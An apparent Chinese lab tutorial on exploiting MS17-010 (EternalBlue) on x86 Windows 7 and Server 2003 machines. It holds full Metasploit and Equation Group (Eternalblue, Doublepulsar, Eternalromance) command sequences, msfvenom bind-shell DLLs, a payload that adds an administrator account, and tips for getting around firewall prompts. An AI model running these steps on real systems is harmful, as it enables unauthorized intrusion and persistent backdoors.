抄个冷板凳---x86架构MS-17010漏洞的多重利用方法

简介: x86架构永恒之蓝漏洞的多重利用复现演示

前言:

此次共涉及5个不同版本的x86架构的主机:

Windows 7 家庭高级版6.1(7600)- -- 192.168.50.188

Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

Windows 7 企业版6.1(7600)--- 192.168.50.188

WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

Windows 7 家庭版6.1(7601) --- 192.168.50.76


众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:

漏洞检测payload:

auxiliary/scanner/smb/smb_ms17_010

x64架构漏洞利用payload:

msfconsole的exploit/windows/smb/ms17_010_eternalblue

x86架构漏洞利用payload:

exploit/windows/smb/ms17_010_psexec

x86/x64架构漏洞探测payload:

auxiliary/admin/smb/ms17_010_command  


以上payload为msfconsole自带的脚本,但是某些时候这几种payload都不是很适用的时候,可能就需要我们去另辟蹊径了,所以今天笔者为大家带来了几种好用的解决方案,本次环境均为本地搭建,仅作为实验教学使用


Windows 7 家庭高级版6.1(7600)- -- 192.168.50.188


首先我们看一下第一台试验目标的systeminfo信息

图片.png

图片.png

图片.png

我们可以先利用auxiliary/scanner/smb/smb_ms17_010 进行探测

图片.png

可以确定,ms17010是存在的,接着我们尝试一下msfconsole的exploit/windows/smb/ms17_010_eternalblue

图片.png

此时提示,由于该模块的payload仅仅适用于x64架构,所以无法进行攻击,那么我们可以尝试下下一个

图片.png

可以看见,攻击失败了,我们尝试下一个

auxiliary/admin/smb/ms17_010_command  

图片.png

依然是失败,那么此时,漏洞明确存在的情况下,我们应该如何对目标系统进行测试?

这里介绍一款工具,该工具为影子经纪人在2017年放出来的方程式工具,目前该工具依然可以从github下载,同样的adb123表哥也做了一个图形化的工具

链接: [https://github.com/abc123info/EquationToolsGUI](https://github.com/abc123info/EquationToolsGUI)

这里先不使用工具,因为笔者在测试的时候发现工具可能存在一点bug,所以这里首先使用原版的工具进行演示

该工具需要在x86架构的机器使用,并且需要安装2.6.6d python以及pywin32-221.win32-py2.6 ,安装教程请自行百度

方程式上线:

fb.py

use Smbtouch

set TargetIp 192.168.50.165

execute

图片.png

Smbtouch模块为漏洞检测模块,可以看到,成功的检测出了永恒之蓝漏洞;接着直接进行漏洞利用

use Eternalblue

图片.png

图片.png

一路默认即可,如果发现targetip不对,可以set一下

图片.png

而后进行dou模块,该模块是用来下攻击脚本的

use Doublepulsar

图片.png

前面都是默认,需要注意的是,在Function这里的时候,需要选择RunDLL选项,Eternalblue漏洞模块不需要下shellcode.bin后门

图片.png

该工具不能直接获取shell,所以需要其他的shell加载器对shell进行加载,同时,该工具漏洞利用方式为dll注入,所以需要注意系统的架构以及注入的进程,经过测试,若是windows7系统x86架构,注入lsass.exe的话,主机会在1分钟后重启,导致shell不上线或者丢失,同那个样的,正向连接马子在方程式工具中,是可以开启目标机器监听端口,但是会被rundll32.exe检测到,防火墙会进行拦截,导致即使开放了监听端口而无法上线的情况;

我们首先看一下正向连接小马,至于为什么用正向,因为在内网环境了,有的时候客户的机器是不出网的,如果使用反向小马,是不可能shell回连的

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

图片.png

将生成的x86.dll文件移动到方程式攻击的设备上,而后设置好上传dll的路径

图片.png

同时,msf开启监听

图片.png

图片.png

而后目标设备就要重启了,同时dll注入成功,端口1003被开放

图片.png

可以看见,虽然端口开放了,但是并没有上线,因为防火墙给拦住了,后续大家可以看到为什么会被拦截

图片.png

换一个打法

msfvenom -p windows/exec CMD='cmd.exe /k "net user admin01 123456 /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x86_xxx.dll

这个payload的目的是创建用户,这样即使是上不了线,但是可以创建用户,或者执行其他命令,这里创建用户是因为简单,大家在实际应用当中很有可能会遇到3389没有开放的情况,这个时候就需要替换命令,或者是利用创建的新用户,通过smb协议去弹计划任务上线,或者利用impacket工具上线

图片.png

图片.png

攻击之前

图片.png

攻击之后

图片.png

图片.png

可以看到,即便计算机重启了,但是用户依然创建成功了,所以大家在工作的时候要慎用,以免影响客户正常业务

如果我们将注入的进行修改为explorer.exe呢

图片.png

此时并没有达到上线目的,别急,清先往下看

kali上线

kali安装wine32

apt-get install wine32

报错了就执行下一个

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

检测安装状态:

wine --version

wine cmd.exe

图片.png

下载专用攻击模块

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

下载下来之后解压,并执行如下命令

cd Eternalblue-Doublepulsar-Metasploit/

将下载的模块导入到msf的文件夹

cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

图片.png

确保deps目录不能空,一会要用

msfconsole

search eternalblue  

use 0

图片.png

set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set PROCESSINJECT explorer.exe

set TARGETARCHITECTURE  x86

set rhost 192.168.50.165

图片.png

run

图片.png

这里其实就是防火墙拦截了,如果不允许,端口会开放成功,但是kali却怎么也连不上

同意之后,才可以连接shell,

有可能第一次run会失败,目标机器可能会弹explorer.exe信息,不用理会,重新run就行

图片.png

图片.png

至此,第一台结束,我们看一下第二台

Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

图片.png

图片.png

图片.png

其实这台机器和第一台几乎没有任何区别,只不过多了几个补丁,这里用他的目的是为了演示,如果我们拒绝了rundll32.exe的网络请求,会怎么样

这里我们可以继续利用kali,然后假设我们不允许rundll32.exe,点击取消按钮,我们此时发现,端口依然会开放10001,但是kali死活连接不上去

图片.png

图片.png

但是如果此时,将payload改回反向连接

set payload windows/meterpreter/reverse_tcp

run

图片.png

由于第一台与第二台没啥区别,仅仅是为了演示如何不触发弹窗上线,所以不演示fb工具


Windows 7 企业版6.1(7600)--- 192.168.50.188

首先使用fb工具(方程式工具)进行攻击,但是我们发现,无论怎么打都是失败

图片.png

而后利用msf工具的dou模块进行攻击,方式与第一台步骤是一样的

正向连接,一样会导致目标机器弹窗,我们直接关闭即可,不给他权限

图片.png

图片.png

而后是msf反向打,反向打是不会告警的,上线成功

图片.png

该机器演示的目的,是为了告诉大家,方程式工具只能检测到ms17010漏洞,但是无法攻击成功的时候,我们可以利用我们第一个方法来拿到shell,由此可见,msfconsole攻击模块似乎更加好用

WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

图片.png

图片.png

该机器与win7 x86明显有差异,1-3实验,Doublepulsar模块都可以利用成功,但是针对这台windows server 2003而言,却攻击失败了

图片.png

但是此环境方程式工具却可以利用成功

图片.png

此时永恒之蓝就不好使了,上其他的科技与狠活

use Doublepulsar

生成shellcode.bin后门

前面所有的都是默认的

图片.png

然后选择0,OutputInstall ,并设置路径,这里路径设置成 c:\temp\shellcode.bin

图片.png

执行成功后,会在该路径下成功一个shellcode.bin文件,该文件为后门文件

图片.png


use ETERNALROMANCE


该模块是用来进行漏洞利用,将生成的shellcode.bin文件打到目标系统里

图片.png

图片.png

图片.png

只需要填写shellcode.bin文件的位置即可

图片.png

其余的通通默认即可

图片.png

use Doublepulsar 攻击

图片.png

图片.png

这里填写生成的正向连接的x86.dll文件路径,这个文件与上文的都是同一个

图片.png

图片.png

msf上线

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 1003

set rhost 192.168.50.199

run

图片.png

我们可以发现,这里使用正向连接,目标机器不会触发告警,防火墙不会拦截,直接上线,且不需要修改explorer.exe注入进程,设备也不会重启、蓝屏


该实验可以用kali的另一种玩法


search ms17

use 1

set payload payload windows/meterpreter/bind_tcp

set rhost 192.168.50.199

图片.png

run


图片.png

最高权限

图片.png

Windows 7 家庭版6.1(7601) --- 192.168.50.76

图片.png

图片.png

图片.png

没有发现17010相关漏洞

图片.png

图片.png

最后针对windows server 2003 sp2 x86的实验目标,演示一下abc123表哥的神器,解放双手

图片.png

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

图片.png

使用msfconsole正向监听


use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 1003

set rhost 192.168.50.205

run

图片.png

将生成的x86.dll文件存放在图形化工具的根目录下,并将原有的x86.dll重命名

图片.png

先点击生成bin,而后点击漏洞利用,最后点击dll注入


图片.png

攻击成功后,发现msf上线

图片.png


相关文章
|
2月前
|
架构师 测试技术 Linux
嵌入式软件架构中抽象层设计方法
嵌入式软件架构中抽象层设计方法
63 0
【各种问题处理】X86架构和ARM架构的区别
【1月更文挑战第13天】【各种问题处理】X86架构和ARM架构的区别
|
5月前
|
边缘计算 编译器 数据中心
X86架构与Arm架构的主要区别分析
X86架构与Arm架构的主要区别分析
480 0
|
8月前
|
Ubuntu 关系型数据库 MySQL
M1 macos docker获取x86 x64 amd 等指定架构版本linux ubuntu mysql 容器并启动容器
M1 macos docker获取x86 x64 amd 等指定架构版本linux ubuntu mysql 容器并启动容器
|
2月前
|
中间件 编译器 调度
嵌入式软件架构基础设施设计方法
嵌入式软件架构基础设施设计方法
77 0
|
2月前
|
存储 机器学习/深度学习 并行计算
阿里云服务器X86计算、Arm计算、GPU/FPGA/ASIC、高性能计算架构区别
在我们选购阿里云服务器的时候,云服务器架构有X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器、高性能计算可选,有的用户并不清楚他们之间有何区别,本文主要简单介绍下不同类型的云服务器有何不同,主要特点及适用场景有哪些。
阿里云服务器X86计算、Arm计算、GPU/FPGA/ASIC、高性能计算架构区别
|
6月前
|
监控 关系型数据库 MySQL
银河麒麟V10 SP3 X86 二进制文件部署 mysql-5.7.29 GTID 半同步复制的双主架构
银河麒麟V10 SP3 X86 二进制文件部署 mysql-5.7.29 GTID 半同步复制的双主架构
132 1
|
8月前
|
安全 Java 编译器
JDK21更新内容:舍弃对x86架构32位系统支持
JDK21更新内容:舍弃对x86架构32位系统支持
|
10天前
|
敏捷开发 监控 数据管理
构建高效微服务架构的五大关键策略
【4月更文挑战第20天】在当今软件开发领域,微服务架构已经成为一种流行的设计模式,它允许开发团队以灵活、可扩展的方式构建应用程序。本文将探讨构建高效微服务架构的五大关键策略,包括服务划分、通信机制、数据管理、安全性考虑以及监控与日志。这些策略对于确保系统的可靠性、可维护性和性能至关重要。
|
11天前
|
消息中间件 监控 持续交付
构建高效微服务架构:后端开发的进阶之路
【4月更文挑战第20天】 随着现代软件开发的复杂性日益增加,传统的单体应用已难以满足快速迭代和灵活部署的需求。微服务架构作为一种新兴的分布式系统设计方式,以其独立部署、易于扩展和维护的特点,成为解决这一问题的关键。本文将深入探讨微服务的核心概念、设计原则以及在后端开发实践中如何构建一个高效的微服务架构。我们将从服务划分、通信机制、数据一致性、服务发现与注册等方面入手,提供一系列实用的策略和建议,帮助开发者优化后端系统的性能和可维护性。